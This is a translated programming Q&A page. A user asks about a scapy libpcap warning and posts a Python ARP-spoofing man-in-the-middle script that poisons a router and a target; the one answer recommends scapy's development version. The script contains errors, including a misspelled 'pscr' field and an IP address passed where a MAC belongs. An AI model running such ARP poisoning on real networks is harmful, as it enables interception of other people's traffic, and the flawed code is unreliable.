python - Python scapy - 错误:没有可用的 libpcap 提供程序
问题描述
我将 scapy 用于一个简单的 MITM 攻击脚本(我当然只将它用于教育目的),我收到了这个奇怪的错误,上面写着:警告:没有可用的 libpcap 提供程序!pcap 不会被使用。我尝试在网上查找此错误,但没有人真正回答。这个错误是什么意思?是否有可能我只是没有正确使用脚本?任何帮助都将不胜感激。
这是我的脚本:
import scapy.all as scapy
def get_target_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst= 'ff:ff:ff:ff:ff:ff')
finalpacket = broadcast/arp_request
answer = scapy.srp(finalpacket, timeout=2, verbose=False)[0]
mac = answer[0][1].hwsrc
return(mac)
def restore(destination_ip, source_ip):
target_mac = get_target_mac(destination_ip)
source_mac = get_target_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=target_mac, pscr=source_ip, hwsrc = source_mac)
scapy.sendp(packet, verbose=False)
def spoof_arp(target_ip, spoofed_ip):
mac = get_target_mac(target_ip)
packet = scapy.ARP(op = 2, hwdst = target_ip, psrc=spoofed_ip)
scapy.sendp(packet, verbose=False)
def main():
try:
while True:
spoof_arp('router_ip', 'fake_ip')#I hided the real ip
spoof_arp('fake_ip', 'router_ip')
except KeyboardInterrupt:
restore('router_ip', 'fake_ip')
restore('fake_ip', 'router_ip')
exit(0)
解决方案
我认为user16139739给出了一个可能的解决方案。我遇到了 scapy 的一些问题,这就是其中之一,stable 有一些已知的错误,这些错误已在开发版本中得到纠正。
我没有安装其他任何东西,在我的情况下,我之前可能已经使用过 user16139739解决方案,但在某些时候仍然会出现这个错误,而另一个是RawPcapReader,所以我使用了开发版本。
推荐阅读
- xml - 使用 XSLT 1.0 模拟数据透视表
- string - lua string.find 无法识别子字符串
- javascript - 车把每个句子不循环
- c# - Fresh dotnet new mvc 项目@Linux - 无法验证 HTTPS 连接
- gtk - 在windows上设置Gtk开发
- bit-manipulation - 位操作:在一组位的最左角添加位
- javascript - 将 CSV 从实时 URL 解析为 HTML 表
- c++ - 罗马数字转换程序抛出异常。新手问题
- vb.net - 将字符串保存到设置文件 System.Collection.Specialized.StringCollection 不起作用
- java - 用 Jackson 读取 YAML 会忽略没有值的键